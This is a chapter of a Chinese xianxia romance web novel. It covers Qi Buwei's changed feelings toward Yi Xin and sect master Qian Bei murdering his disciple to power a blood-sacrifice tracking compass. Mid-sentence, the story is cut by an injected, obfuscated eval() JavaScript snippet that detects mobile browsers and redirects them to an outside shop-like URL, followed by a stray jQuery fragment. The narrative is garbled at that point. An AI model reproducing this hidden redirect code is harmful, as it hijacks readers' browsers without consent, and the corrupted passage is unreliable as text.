49. 第十八章
作品:《我不覆辙》 易辛愣住了,就像他说他不讨厌自己一样,她依旧没有反应过来,甚至觉得一定是她听错了。
这厢祁不为也怔在原地,他方才说了什么?
就在两人之间的氛围陷入诡异凝滞时,忽然响起一道声音。
“你们在聊什么?我好像听到我的名字?不会说我坏话吧?”祁有为从易辛身后走来,目光似有若无地落在两人交缠的手腕上,嘴角带笑。
二人一惊,祁不为下意识松了手,恰逢易辛也想把手腕抽回来,可下一瞬,他又拢紧了,交错间,正好握住易辛掌心。
没了那层衣服,两人掌心相贴。
易辛惊住,有些紧张又不明地望向祁不为。
祁不为望着易辛,说道:“我去帮你收拾东西。”
这是坚决要把她从易张稚那换回来的意思。
易辛睁大眼睛,一时心乱如麻,她也不知道要不要换回来。
但祁不为似乎打定了主意,正要向阿姐借道,忽然顿住脚步,问后者:“你昨晚没回来?”
祁有为一身衣裳还是昨日的。
“哦,昨晚易张稚说镇上有处地方看日出很漂亮,就一起去了。”祁有为解释道。
易辛立即去看祁不为,他似乎惊呆了,有些茫然。
“……易张稚?”祁不为重复道,“你什么时候认识他的?”
祁有为也愣了,恍然道:“上次失踪,就是他救了我。这次发现他也在甘华门,就请他吃了顿饭。嘶——我好像是没跟你提过这些事。”
“失踪?!”他震惊道,紧接着又皱起眉头,声音低喃下去,面上茫然更甚,“你们……那么早就见过了?”
趁着祁不为愣神,易辛想抽出手,觉得此刻隐身为妙,接过却没挣出来,祁不为入定似的,把她手腕攥得很紧……
“怎么了?”祁有为疑惑道,不明白这句话是何意思。
但祁不为已陷入了自己的思绪当中。
他原以为,这一世到目前为止,祁有为和易张稚一直没见过面。却没料到,依旧在他不知道、无法出现的时候,两人便早早有了交集。
难道……这是命运使然么?
茫然着茫然着,祁不为忽然发觉自己既没有怒不可遏,也不会嫉妒愤恨,甚至有些说不清道不明的松了口气。
甚至心底某一处还隐隐地雀跃着——既然上天要他们在一起,那就在一起吧。易张稚也没什么不好的,除了话少了点,装了点,比他厉害了些……嗯,这人不厉害些怎么配得上阿姐呢?
而这一切看在易辛眼里却变了味儿。
她惊悚地发现祁不为似笑非笑,嘴角扬起又拉平,反复如此。
……祁有为和易张稚早有渊源,他一定生气了!只是在克制!
还是赶紧跑吧……以免殃及池鱼!
易辛又尝试抽出手腕,只见他忽然转身,直勾勾地盯住自己,一时间,她不敢轻举妄动了。
祁不为却说道:“你说你不喜欢易张稚,我信了。”
第三遍了,第三遍了……易辛从愣怔到羞愤,不禁瞥了一旁看好戏的祁有为一眼,连连冲着他急切道:“你不要乱说了……!”
祁不为好像根本听不见:“你和他命中注定,无缘无份。”
说到最后,还带了点笃定而傲娇的笑意。
“别说了!我和易公子本来就什么都没有……”易辛又急又气,忽又觉得哪里怪怪的。
他怎么是这个反应……
不等她想明白,便被祁不为拉走了。
祁不为一边走,一边头也不回地挥挥手:“阿姐,我要去给易辛收拾东西,等会儿回来。”
看着两人离去的背影,祁有为摸了摸下巴,颇有些欣慰道:“这小子终于长大了?不对我直呼其名,知道喊声姐姐了!”
易辛被拉出门,走在路上看见来来往往的侍从和仙门弟子时,还是从祁不为手里挣了出来。她煞费苦心抹掉了钱沁的记忆,可不想前功尽弃。
祁不为没说什么,只是对她说道:“走快点,我大发善心帮你收一回东西,你还慢吞吞的。”
就是说她还没答应要换回来呀……而且还要去麻烦余桓师兄——易辛忿忿地快跑几步,免得祁不为唠唠叨叨地催促。
谁知前方祁不为忽而顿住,易辛只得紧急错开两步,以防撞上。
她仰头问道:“……怎么啦?”
祁不为转过身来,垂眼凝住易辛,欲言又止似的。就在易辛要发问之际,他才说道:“当日我要杀水鬼,还要杀你,你是不是吓坏了。”
易辛怔住。
“对不起……我伤过你好几回,你是无辜的,我不该迁怒你。”祁不为拧起眉头,认真道。
易辛一时说不出话来。祁不为转变得太快,仿佛一夜之间想通了顿悟了,一下子说不讨厌她,一下子还为从前的事向她道歉,仿佛受了什么刺激似的……
但或许这番变化早前便有迹可循,只是放在了祁不为心中,她对此没有足够敏锐从而没有察觉到那些细微的转变。
只是此时此刻,她忽然不敢面对他的道歉与目光,仓促间低垂着头。
祁不为只当她有些无所适从,并不在意,旋即从手里化出一条红绳手链,上面坠着枚小巧精美的金铃,形状比耳环还小些。
“给你,我的纸人分身,可以当作护身符用,再遇见钱衡那样的状况,就有还击之力了。”
易辛猛地心神震荡,眼睛仿佛被针刺痛了一般,那股细密的痛从眼睛转入心口,鼻端泛起酸意。
她没伸手,祁不为却抬起她的腕骨,替她戴好了,和桃木的手串交叠着,相得益彰。
易辛眼前有些模糊,指尖拨动了一下金铃,这道纸人分身……又戴在了她手上。
心口仿佛压了块石头,祁不为的种种言行举止,包括他说再也不纠缠阿姐的那些话……易辛根本不敢细想,也禁止自己深想。
她抬手覆住两串手链,摒除一切杂念,如今最重要的,是平安渡过甘华门的难关,阻拦祁不为入魔。
厢房里,钱衡和李冲一齐跪在地上。
钱备饮下一口茶,再放下茶盏,声量轻而脆,两人不约而同地心口发紧。
钱衡胆寒道:“爹,我只是想帮你研究研究那截桃木,没想到就被那个侍女发现了。”
李冲一凛:“宗主,是弟子办事不利,没有及时销毁桃木。”
此话一出,钱衡眼神往后瞟了一下,像把刀扎向李冲。
听来是李冲揽了罪责,实则却在说“钱衡误事”。
李冲只顾低着头,一副请罪模样,他知道钱衡在看自己,但比起惹怒这个纨绔,他更不敢引钱备动怒。何况本来就是钱衡鲁莽误事。
“起来吧。”钱备说道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012600|191107||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
两人神色各异,不知钱备说的是谁。
“李冲,到跟前来,我之前还交代过你一事。”
李冲心中一喜,如蒙大赦,连忙做足姿态,向钱备谢罪又感激,而后谨小慎微地走到他身旁。
钱衡自是愤怒不已,可也不敢发作,只能安分跪着,心里却记下此等小人。
李冲手心向上,幻化出一个罗盘。
罗盘邪异至极,细嗅还有血腥味,正是流双的罗盘。
“古籍表明,此罗盘能问人行踪,要问两次,每次需得献祭十人。一回问出大致方位,二回身处大致方位上,可由罗盘直接引向想找之人。”
钱备端详罗盘:“那茧妖就在甘华门附近,他要寻之人,极有可能就在甘华门。”
李冲一手托着罗盘,一手施术:“按古籍记载的法术,可让罗盘显示出茧妖到底在找什么人。”
话落,由罗盘牵引出丝丝血线,悬浮成一句话——我的孩子在哪?
钱备耐人寻味地笑了一下:“甘华门有妖?”
李冲:“观罗盘底部,已经有九道刻线变红,还剩一道。”
“若那侍女死了,茧妖就能找到他孩子了。”
“要抓个人来吗?”似觉得直言不妥,李冲又换了个说法,“可去芙蓉镇牢里抓一个即将问斩之人。”
钱备摇头:“既要问斩,就让他因罪而死,不要把无关之人牵扯进来。”
李冲沉默不语。
钱备再问:“罗盘之事,还经了谁的手?”
“全程只有弟子一人。”
“好。这件事不用你管了,我会处理。时辰不早了,你下去休息。”
李冲巴不得早点离开,拱起双手,向钱备告退,掠过钱衡身旁时,他目不斜视。那钱衡却是有些愤恨。
“钱衡,你在甘华门屡次闯祸,还叫那侍女伤了手,真是把无相宗的脸丢尽了。”
“爹,我知错了……甘愿受罚……”
身后传来父子俩的对话,李冲眼观鼻鼻观心,径直走向屋门,刚要伸手——噗呲一声,一把剑贯穿胸口,正中后心。
李冲连头也没来得及回,口中呕血,直挺挺倒在地上。
倒过来的视线里,钱衡满脸震惊,钱备收手振袖。
“你……”李冲口齿不清,身子抽搐,望见那轮罗盘邪光大作,飞过来悬在空中。
他瞪直双眼,须臾僵死。
“李冲办事不力,被逐回无相宗,路上遇妖怪袭击,魂飞魄散。”钱备面无表情道。
钱衡愣了两下,反应过来后,立即应声:“是!宗主!”
钱备顺了顺衣袖,长吐一气,似乎接二连三的事里,总算有件让自己顺心之事,低头居高临下地望着钱衡:“把屋子洒扫了,就你一人,别再干些蠢事。”
钱衡重重点头:“我、我……知道了!弟子一定把这里打扫得看不出任何蛛丝马迹。”
于是钱衡便开始勤勤恳恳地收拾现场。
室内很快弥漫开血腥味,却被钱备施了结界,飘不出一丝一毫。
等到罗盘吸够了李冲的血,最后一道刻线也变红了。
十道刻线中逸出丝丝缕缕的红光,渐渐汇聚成一个名字。
钱衡瞪大眼睛,十分震惊。
钱备只是冷笑一声:“真是没想到啊……李纳川,你藏得真好。”

